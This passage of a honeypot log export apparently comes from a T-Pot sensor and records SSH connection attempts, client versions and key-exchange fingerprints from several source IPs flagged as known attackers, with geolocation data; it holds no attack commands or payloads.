"YWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1tZDUtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYtOTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItOTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS05Ni1ldG1Ab3BlbnNzaC5jb20saG1hYy1tZDUtOTYtZXRtQG9wZW5zc2guY29tLHVtYWMtNjRAb3BlbnNzaC5jb20sdW1hYy0xMjhAb3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMSxobWFjLW1kNSxobWFjLXNoYTItMjU2LTk2LGhtYWMtc2hhMi01MTItOTYsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LTk2AAABrXVtYWMtNjQtZXRtQG9wZW5zc2guY29tLHVtYWMtMTI4LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtbWQ1LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItMjU2LTk2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLTk2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtOTYtZXRtQG9wZW5zc2guY29tLGhtYWMtbWQ1LTk2LWV0bUBvcGVuc3NoLmNvbSx1bWFjLTY0QG9wZW5zc2guY29tLHVtYWMtMTI4QG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1tZDUsaG1hYy1zaGEyLTI1Ni05NixobWFjLXNoYTItNTEyLTk2LGhtYWMtc2hhMS05NixobWFjLW1kNS05NgAAABp6bGliQG9wZW5zc2guY29tLHpsaWIsbm9uZQAAABp6bGliQG9wZW5zc2guY29tLHpsaWIsbm9uZQAAAAAAAAAAAAAAAADb25b2x+4=", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 52922, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:06:05.851838Z", "@timestamp": "2021-09-20T11:06:05.851Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "ac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96....umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96....zlib@openssh.com,zlib,none....zlib@openssh.com,zlib,none..................."}}	1	\N	\N	alert	known attacker	\N
20898	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:05.441994+03	2021-09-20 14:15:02.966646+03	{"_id": "ywXiAnwBvYTbRNuEbvo8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:42494 (192.168.176.2:22) [session: 4bebe31d8da4]", "session": "4bebe31d8da4", "@version": "1", "protocol": "ssh", "src_port": 42494, "dest_port": 22, "timestamp": "2021-09-20T11:06:05.441994Z", "@timestamp": "2021-09-20T11:06:05.441Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
20899	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:05.573873+03	2021-09-20 14:15:02.967643+03	{"_id": "zAXiAnwBvYTbRNuEbvo8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:52922 (192.168.176.2:22) [session: b6e7c28d9c02]", "session": "b6e7c28d9c02", "@version": "1", "protocol": "ssh", "src_port": 52922, "dest_port": 22, "timestamp": "2021-09-20T11:06:05.573873Z", "@timestamp": "2021-09-20T11:06:05.573Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
20900	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:05.63927+03	2021-09-20 14:15:02.968642+03	{"_id": "zQXiAnwBvYTbRNuEbvo8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:58734 (192.168.176.2:22) [session: 89aa45db4231]", "session": "89aa45db4231", "@version": "1", "protocol": "ssh", "src_port": 58734, "dest_port": 22, "timestamp": "2021-09-20T11:06:05.639270Z", "@timestamp": "2021-09-20T11:06:05.639Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
20901	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:04.916248+03	2021-09-20 14:15:02.969642+03	{"_id": "0AXiAnwBvYTbRNuEbvo8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "113.105.80.34", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 39972, "timestamp": "2021-09-20T11:06:04.916248", "@timestamp": "2021-09-20T11:06:04.916Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20902	113.105.80.34	109.199.241.180	Fatt	2021-09-20 14:06:05.193274+03	2021-09-20 14:15:02.971642+03	{"_id": "0QXiAnwBvYTbRNuEbvo8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "113.105.80.34", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 39972, "dest_port": 22, "timestamp": "2021-09-20T11:06:05.193274", "@timestamp": "2021-09-20T11:06:05.193Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
20903	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:05.44724+03	2021-09-20 14:15:02.972614+03	{"_id": "0gXiAnwBvYTbRNuEbvo8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42494, "timestamp": "2021-09-20T11:06:05.447240", "@timestamp": "2021-09-20T11:06:05.447Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20909	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:05.576771+03	2021-09-20 14:15:02.979613+03	{"_id": "2AXiAnwBvYTbRNuEbvo8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "b6e7c28d9c02", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:05.576771Z", "@timestamp": "2021-09-20T11:06:05.576Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
20904	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:05.578858+03	2021-09-20 14:15:02.973614+03	{"_id": "0wXiAnwBvYTbRNuEbvo8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 52922, "timestamp": "2021-09-20T11:06:05.578858", "@timestamp": "2021-09-20T11:06:05.578Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20905	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:05.644425+03	2021-09-20 14:15:02.974615+03	{"_id": "1AXiAnwBvYTbRNuEbvo8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58734, "timestamp": "2021-09-20T11:06:05.644425", "@timestamp": "2021-09-20T11:06:05.644Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20906	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:05.759089+03	2021-09-20 14:15:02.976613+03	{"_id": "1QXiAnwBvYTbRNuEbvo8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 42494, "dest_port": 22, "timestamp": "2021-09-20T11:06:05.759089", "@timestamp": "2021-09-20T11:06:05.759Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20907	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:06:05.193887+03	2021-09-20 14:15:02.977613+03	{"_id": "1gXiAnwBvYTbRNuEbvo8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "5a2c163580eb", "@version": "1", "timestamp": "2021-09-20T11:06:05.193887Z", "@timestamp": "2021-09-20T11:06:05.193Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
